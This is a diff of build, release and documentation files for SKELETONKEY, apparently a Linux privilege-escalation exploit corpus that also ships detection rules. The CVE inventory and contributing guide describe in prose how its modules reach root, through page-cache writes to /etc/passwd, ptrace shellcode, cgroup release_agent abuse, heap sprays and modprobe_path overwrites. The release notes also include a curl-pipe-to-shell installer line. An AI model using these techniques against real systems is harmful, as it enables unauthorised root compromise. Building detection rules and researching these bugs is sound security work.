Compare commits
96 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d466fbfdcb | |||
| a8bc81c54c | |||
| b7027a1749 | |||
| 03324c8542 | |||
| 95589e26cb | |||
| 4d0a0e2443 | |||
| 050731396d | |||
| ada56b0db3 | |||
| 28a9289989 | |||
| e457b22c1f | |||
| 60579f1602 | |||
| dd5f4fa06d | |||
| 3d9db6b93e | |||
| bd63aabd64 | |||
| 1663df69d1 | |||
| 6c148e276a | |||
| 35c33df16f | |||
| 25c2afc3e9 | |||
| 13fbbce618 | |||
| bb5ca48fe1 | |||
| 4454d8148e | |||
| fa0228df9b | |||
| d52fcd5512 | |||
| 66cca39a55 | |||
| 92396a0d6d | |||
| 8ac041a295 | |||
| 270ddc1681 | |||
| 7f4a6e1c7c | |||
| f41eed834e | |||
| d84b3b0033 | |||
| 4af82b82d9 | |||
| c12ee6055c | |||
| 3e9f373751 | |||
| 24c2821ae2 | |||
| 5d48a7b0b5 | |||
| 18fa3025f2 | |||
| 5b79b23ff2 | |||
| 264759832a | |||
| 6e0f811a2c | |||
| 312e7d89b5 | |||
| 2c131df1bf | |||
| 48d5f15828 | |||
| 67d091dd37 | |||
| f792a3c4a6 | |||
| 2c4cde1031 | |||
| 5071ad4ba9 | |||
| 554a58757e | |||
| 8ab49f36f6 | |||
| ee3e7dd9a7 | |||
| 39ce4dff09 | |||
| e4a600fef2 | |||
| 60d22eb4f6 | |||
| e2fef41667 | |||
| 8243817f7e | |||
| 8de46e212e | |||
| df4b879527 | |||
| 6b6d638d98 | |||
| 8938a74d04 | |||
| 027fc1f9dd | |||
| 72ac6f8774 | |||
| fde053a27e | |||
| 97be306fd2 | |||
| a9c8f7d8c6 | |||
| 150f16bc97 | |||
| c63ee72aa1 | |||
| 86812b043d | |||
| 0d87cbc71c | |||
| 2b1e96336e | |||
| 1571b88725 | |||
| 36814f272d | |||
| d05a46c5c6 | |||
| ea1744e6f0 | |||
| c00c3b463a | |||
| 4f30d00a1c | |||
| 3e6e0d869b | |||
| a26f471ecf | |||
| cdb8f5e8f9 | |||
| 9a4cc91619 | |||
| ac557b67d0 | |||
| a8c8d5ef1f | |||
| 3b287f84f0 | |||
| 33f81aeb69 | |||
| 5be3c46719 | |||
| 58fb2e0951 | |||
| 2904fa159c | |||
| 2873133852 | |||
| 95135213e5 | |||
| 0fbe1b058f | |||
| e13edd0cfd | |||
| 5a73565e0e | |||
| 324b539d65 | |||
| e668c3301f | |||
| 347a9af832 | |||
| 023289a03a | |||
| e7ced5db7c | |||
| b5188b7818 |
+24
@@ -0,0 +1,24 @@
|
||||
# clang-tidy configuration for SKELETONKEY core/.
|
||||
#
|
||||
# Defaults are mostly fine. Two checks intentionally disabled:
|
||||
#
|
||||
# clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling
|
||||
# This check flags snprintf, fprintf, memset, strncpy, etc. as
|
||||
# "insecure" and recommends the C11 Annex K _s variants
|
||||
# (snprintf_s, memset_s, ...). Annex K is fundamentally not
|
||||
# portable — glibc, musl, and MSVC all either don't implement
|
||||
# it or implement it incompletely. snprintf is already bounds-
|
||||
# checked; this is noise rather than signal in real C code.
|
||||
# The Linux kernel uses these functions everywhere; so does
|
||||
# every C project. Disabling.
|
||||
#
|
||||
# bugprone-easily-swappable-parameters
|
||||
# Flags every function taking 2+ same-typed parameters. False-
|
||||
# positive heavy on small utility functions like
|
||||
# skeletonkey_host_kernel_at_least(host, major, minor, patch)
|
||||
# where the parameter order is documented and obvious. Not
|
||||
# worth the noise.
|
||||
|
||||
Checks: >
|
||||
-clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling,
|
||||
-bugprone-easily-swappable-parameters
|
||||
+112
-4
@@ -5,6 +5,15 @@ on:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
schedule:
|
||||
# Weekly drift check against CISA KEV + Debian security tracker.
|
||||
# Runs Monday 06:00 UTC; reports any new backports / KEV additions
|
||||
# that haven't propagated into the corpus yet.
|
||||
- cron: '0 6 * * 1'
|
||||
workflow_dispatch:
|
||||
# Lets us trigger the drift-check job on demand (e.g. after a
|
||||
# metadata refresh) without waiting for the weekly cron. The
|
||||
# drift-check job's `if:` gate honors this trigger.
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -16,13 +25,14 @@ jobs:
|
||||
flavor: [default, debug]
|
||||
name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
|
||||
- name: show compiler
|
||||
run: ${{ matrix.cc }} --version
|
||||
@@ -54,6 +64,103 @@ jobs:
|
||||
- name: sanity — --detect-rules sigma
|
||||
run: ./skeletonkey --detect-rules --format=sigma | head -50
|
||||
|
||||
- name: tests — detect() unit suite
|
||||
env:
|
||||
CC: ${{ matrix.cc }}
|
||||
run: |
|
||||
# Run as a non-root user so modules' "already root" gates do
|
||||
# not short-circuit before the synthetic host-fingerprint
|
||||
# checks fire. The test binary itself is platform-agnostic;
|
||||
# the assertions are #ifdef __linux__ guarded.
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci make test
|
||||
|
||||
# ASan + UBSan run. clang-only; catches memory bugs and undefined
|
||||
# behaviour the regular test suite can't see. Runs on the same 88
|
||||
# tests as the main matrix; failures here are real bugs even if
|
||||
# the assertions all pass.
|
||||
sanitizers:
|
||||
runs-on: ubuntu-latest
|
||||
name: sanitizers (ASan + UBSan)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config sudo
|
||||
- name: build + test under sanitizers
|
||||
env:
|
||||
CC: clang
|
||||
# AddressSanitizer + UndefinedBehaviorSanitizer. -O1 keeps
|
||||
# backtraces meaningful while still exercising optimizer paths;
|
||||
# -fno-omit-frame-pointer for ASan stack traces; halt-on-error
|
||||
# so the first finding fails CI loudly rather than scrolling
|
||||
# past silently.
|
||||
CFLAGS: "-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64"
|
||||
LDFLAGS: "-fsanitize=address,undefined"
|
||||
run: |
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci -E make test
|
||||
|
||||
# clang-tidy lint. Runs against core/ + skeletonkey.c (the files we
|
||||
# control most tightly). Non-blocking for now — sets a baseline we
|
||||
# can tighten incrementally. Module sources are excluded; many
|
||||
# bundle published PoC code that we keep close to upstream style.
|
||||
clang-tidy:
|
||||
runs-on: ubuntu-latest
|
||||
name: clang-tidy
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
clang clang-tidy linux-libc-dev libglib2.0-dev pkg-config
|
||||
- name: lint core + dispatcher
|
||||
run: |
|
||||
clang-tidy core/*.c skeletonkey.c \
|
||||
--warnings-as-errors='' \
|
||||
-- -Icore -Imodules/copy_fail_family/src \
|
||||
-D_GNU_SOURCE -D_FILE_OFFSET_BITS=64
|
||||
|
||||
# Drift check — runs the two refresh scripts in --check / drift mode
|
||||
# against authoritative federal sources. Catches:
|
||||
# - New CISA KEV additions touching CVEs in our corpus
|
||||
# - New Debian security-tracker backport-version updates that move
|
||||
# the kernel_patched_from table thresholds
|
||||
# Network-required (fetches kev.csv + Debian tracker JSON). Runs on
|
||||
# the weekly cron + on-demand via workflow_dispatch. NOT gated on
|
||||
# PRs because random PRs shouldn't fail on upstream feed drift.
|
||||
drift-check:
|
||||
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: ubuntu-latest
|
||||
name: drift-check (CISA KEV + Debian tracker)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: cve_metadata drift
|
||||
run: |
|
||||
# Exits 1 if the federal data has drifted from our committed
|
||||
# JSON. Open a PR with `tools/refresh-cve-metadata.py` output
|
||||
# if this fires.
|
||||
python3 tools/refresh-cve-metadata.py --check || {
|
||||
echo "::warning::cve_metadata drift detected — run tools/refresh-cve-metadata.py and commit the result"
|
||||
exit 1
|
||||
}
|
||||
- name: kernel_range drift
|
||||
run: |
|
||||
# Exits 1 if any module's kernel_patched_from table is
|
||||
# MISSING or TOO_TIGHT versus Debian's tracker. INFO-only
|
||||
# findings are fine.
|
||||
python3 tools/refresh-kernel-ranges.py || {
|
||||
echo "::warning::kernel_range drift detected — see tools/refresh-kernel-ranges.py output"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Static build job: ensures the project links cleanly when -static is
|
||||
# requested. Useful for deployment to minimal containers / fleet scans
|
||||
# where shared-libc availability isn't guaranteed.
|
||||
@@ -61,12 +168,13 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
name: static-build
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential make linux-libc-dev libc6-dev
|
||||
build-essential make linux-libc-dev libc6-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
- name: make static
|
||||
# Glibc static linking pulls in NSS at runtime which breaks
|
||||
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
|
||||
|
||||
+110
-31
@@ -32,7 +32,7 @@ jobs:
|
||||
name: build (${{ matrix.target }})
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
@@ -52,20 +52,98 @@ jobs:
|
||||
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-${{ matrix.target }}
|
||||
path: |
|
||||
skeletonkey-${{ matrix.target }}
|
||||
skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
# Portable static-musl x86_64 build. Runs in Alpine (native musl +
|
||||
# linux-headers) so the resulting binary works on every libc —
|
||||
# glibc 2.x of any version, musl, etc. This is what install.sh
|
||||
# fetches by default for x86_64 hosts (the dynamic binary above
|
||||
# hits a glibc-version ceiling on older distros like Debian 12 /
|
||||
# RHEL 8).
|
||||
build-static-x86_64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (x86_64-static / musl)
|
||||
container:
|
||||
image: alpine:latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: apk add --no-cache build-base linux-headers tar
|
||||
- name: build static (musl)
|
||||
run: |
|
||||
# MSG_COPY is a Linux-only SysV msg flag that glibc defines
|
||||
# but musl does not — netfilter_xtcompat needs it. Define
|
||||
# the kernel constant explicitly. (Kernel: include/uapi/
|
||||
# linux/msg.h: MSG_COPY = 040000)
|
||||
make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-x86_64-static
|
||||
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-x86_64-static
|
||||
path: |
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
|
||||
# Portable static-musl arm64 build. Cross-compile from the x86_64
|
||||
# runner using dockcross/linux-arm64-musl — a Debian-based cross
|
||||
# toolchain image that ships aarch64-linux-musl-gcc with a clean
|
||||
# musl sysroot + Linux uapi headers. Avoids the two prior failure
|
||||
# modes:
|
||||
# (1) Alpine on arm64: actions/checkout JS bundle requires glibc-
|
||||
# compatible Node, which GitHub doesn't inject on arm64.
|
||||
# (2) musl-tools on ubuntu-24.04-arm: musl-gcc + Ubuntu's
|
||||
# /usr/include collide (glibc stdio.h vs musl stdio.h →
|
||||
# __gnuc_va_list / __time64_t conflicts).
|
||||
# dockcross runs glibc Debian (so checkout works), invokes a
|
||||
# bundled aarch64-linux-musl-gcc whose sysroot has its own
|
||||
# consistent musl + linux-uapi tree.
|
||||
build-static-arm64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (arm64-static / musl)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: run dockcross arm64-musl build
|
||||
run: |
|
||||
# Fetch the dockcross wrapper script (handles UID/GID,
|
||||
# volume mounts, env passing). Image already has
|
||||
# aarch64-linux-musl-gcc on PATH.
|
||||
docker run --rm dockcross/linux-arm64-musl > ./dockcross
|
||||
chmod +x ./dockcross
|
||||
./dockcross bash -c '
|
||||
make CC=aarch64-linux-musl-gcc \
|
||||
CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" \
|
||||
LDFLAGS=-static
|
||||
'
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-arm64-static
|
||||
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-arm64-static
|
||||
path: |
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
|
||||
release:
|
||||
needs: build
|
||||
needs: [build, build-static-x86_64, build-static-arm64]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v8
|
||||
with:
|
||||
path: dist
|
||||
|
||||
@@ -79,34 +157,31 @@ jobs:
|
||||
run: |
|
||||
tag="${GITHUB_REF#refs/tags/}"
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
||||
{
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
|
||||
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "Or one-shot via the install script:"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo '```'
|
||||
echo
|
||||
echo "### What's in this release"
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the curated CVE inventory."
|
||||
echo "See [\`ROADMAP.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/ROADMAP.md) for phase progress."
|
||||
} > release-notes.md
|
||||
# Prefer the hand-written release notes if present (richer
|
||||
# per-release context); otherwise fall back to an auto-generated
|
||||
# stub with install instructions + pointers to docs.
|
||||
if [ -f docs/RELEASE_NOTES.md ]; then
|
||||
cp docs/RELEASE_NOTES.md release-notes.md
|
||||
else
|
||||
{
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 (dynamic + static-musl) and arm64."
|
||||
echo "Checksums alongside each artifact."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the CVE inventory."
|
||||
echo "See [\`docs/RELEASE_NOTES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/docs/RELEASE_NOTES.md) for per-release detail."
|
||||
} > release-notes.md
|
||||
fi
|
||||
|
||||
- name: publish release
|
||||
uses: softprops/action-gh-release@v2
|
||||
uses: softprops/action-gh-release@v3
|
||||
with:
|
||||
tag_name: ${{ steps.notes.outputs.tag }}
|
||||
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||
@@ -114,7 +189,11 @@ jobs:
|
||||
files: |
|
||||
skeletonkey-x86_64
|
||||
skeletonkey-x86_64.sha256
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
skeletonkey-arm64
|
||||
skeletonkey-arm64.sha256
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
install.sh
|
||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||
|
||||
+11
@@ -6,6 +6,17 @@ build/
|
||||
modules/*/build/
|
||||
modules/*/dirtyfail
|
||||
modules/*/skeletonkey
|
||||
/skeletonkey
|
||||
/skeletonkey-test
|
||||
/skeletonkey-test-kr
|
||||
/skeletonkey-x86_64
|
||||
/skeletonkey-x86_64-static
|
||||
/skeletonkey-x86_64.sha256
|
||||
/skeletonkey-x86_64-static.sha256
|
||||
/skeletonkey-arm64
|
||||
/skeletonkey-arm64.sha256
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
/tools/verify-vm/logs/
|
||||
/tools/verify-vm/.vagrant/
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# Contributing to SKELETONKEY
|
||||
|
||||
SKELETONKEY is a curated corpus. PRs welcome for the things below.
|
||||
For everything else, open an issue first to discuss scope.
|
||||
|
||||
## What we accept
|
||||
|
||||
### 1. Kernel offsets for the `--full-chain` table
|
||||
|
||||
The 11 🟡 PRIMITIVE modules use the shared finisher in
|
||||
`core/finisher.c` to convert their primitive into a root pop via
|
||||
`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
|
||||
at runtime — resolved via env vars / `/proc/kallsyms` /
|
||||
`/boot/System.map` / the embedded `kernel_table[]` in
|
||||
`core/offsets.c`.
|
||||
|
||||
The embedded table is **empty by default** to honor the
|
||||
no-fabricated-offsets rule. Every entry must come from a real kernel
|
||||
you have root on.
|
||||
|
||||
**Workflow:**
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --dump-offsets # on the target kernel build
|
||||
# Paste the printed C struct entry into core/offsets.c kernel_table[]
|
||||
# Open a PR titled "offsets: <distro> <kernel_release>"
|
||||
```
|
||||
|
||||
Include in the PR body:
|
||||
- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
|
||||
- How you verified the offsets (kallsyms / System.map / debuginfo)
|
||||
- Whether `--full-chain` succeeds end-to-end against any 🟡 module
|
||||
on that kernel (if you can test on a vulnerable build)
|
||||
|
||||
### 2. New modules
|
||||
|
||||
A new CVE module is welcome if:
|
||||
|
||||
- The bug is **patched in upstream mainline** (no 0days here)
|
||||
- It has a public CVE assignment or clear advisory
|
||||
- The kernel range it affects has realistic deployment footprint
|
||||
- You can include a working detect() with branch-backport ranges
|
||||
- You ship matching detection rules (auditd at minimum)
|
||||
|
||||
Use any existing module as a template. Lightest-weight reference:
|
||||
`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
|
||||
|
||||
Mandatory:
|
||||
- Detect short-circuits cleanly on patched kernels (we test this)
|
||||
- `--i-know` gate on exploit
|
||||
- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
|
||||
otherwise `EXPLOIT_FAIL` with diagnostic
|
||||
- `NOTICE.md` crediting the original CVE reporter + PoC author
|
||||
|
||||
After the module file exists, wire it into:
|
||||
- `core/registry.h` (extern declaration)
|
||||
- `skeletonkey.c` main() (register call)
|
||||
- `Makefile` (new objects + ALL_OBJS)
|
||||
- `CVES.md` (inventory entry)
|
||||
|
||||
### 3. Detection rules
|
||||
|
||||
If you're adding only detection coverage (no exploit) for an
|
||||
existing or new CVE, that's fine. Drop a sigma rule into the module
|
||||
or a new auditd rule file.
|
||||
|
||||
### 4. Bug reports + CVE-status corrections
|
||||
|
||||
Distro backports that patched a CVE without bumping the upstream
|
||||
version → file an issue. Same for kernels we mis-classify as
|
||||
vulnerable.
|
||||
|
||||
## What we don't accept
|
||||
|
||||
- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
|
||||
- Per-kernel offsets fabricated without verification
|
||||
- Modules without detection rules
|
||||
- 0day disclosures (responsible disclosure first; bundle here
|
||||
after upstream patch ships)
|
||||
- Container escapes that don't chain to host root
|
||||
|
||||
## Code style
|
||||
|
||||
C99. Match the surrounding file. Run `make` and the existing
|
||||
CI build (`.github/workflows/build.yml`) before opening the PR.
|
||||
|
||||
## License
|
||||
|
||||
By contributing you agree your work is MIT-licensed.
|
||||
@@ -23,7 +23,36 @@ Status legend:
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
|
||||
**Counts:** 45 modules total covering 40 CVEs; **28 of 40 CVEs
|
||||
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||
*candidate* with no module, not counted as a module.)
|
||||
|
||||
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
||||
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
|
||||
> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` / `bad_epoll` / `ghostlock` are blocked by their target environment (VMware-only,
|
||||
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
|
||||
> libs) or are brand-new this cycle, not by missing code (`bad_epoll` and
|
||||
> `ghostlock` are reconstructed race triggers — deliberately under-driven
|
||||
> and not VM-verified). See
|
||||
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
>
|
||||
> All three now have **pinned fix commits and version-based
|
||||
> `detect()`**:
|
||||
> - `pack2theroot` reads PackageKit's `VersionMajor/Minor/Micro` over
|
||||
> D-Bus and compares against fix release **1.3.5** (commit `76cfb675`).
|
||||
> - `dirtydecrypt` uses the `kernel_range` model against mainline fix
|
||||
> **`a2567217`** (Linux 7.0); kernels < 7.0 predate the vulnerable
|
||||
> rxgk code per Debian's tracker.
|
||||
> - `fragnesia` uses `kernel_range` against mainline **7.0.9**; older
|
||||
> Debian-stable branches (5.10/6.1/6.12) are still listed vulnerable
|
||||
> on Debian's tracker — backport entries will extend the table as
|
||||
> distros publish them.
|
||||
>
|
||||
> `--auto` auto-enables active probes (forked per module so a probe
|
||||
> crash cannot tear down the scan), which lets all three give an
|
||||
> empirical confirmation on top of the version verdict. See each
|
||||
> module's `MODULE.md`.
|
||||
|
||||
Every module ships a `NOTICE.md` crediting the original CVE
|
||||
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
||||
@@ -48,7 +77,7 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
||||
| CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
|
||||
| CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. |
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. **Added to CISA KEV 2026-06-02 — now confirmed exploited in the wild.** |
|
||||
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
||||
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||
@@ -59,7 +88,19 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
||||
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
||||
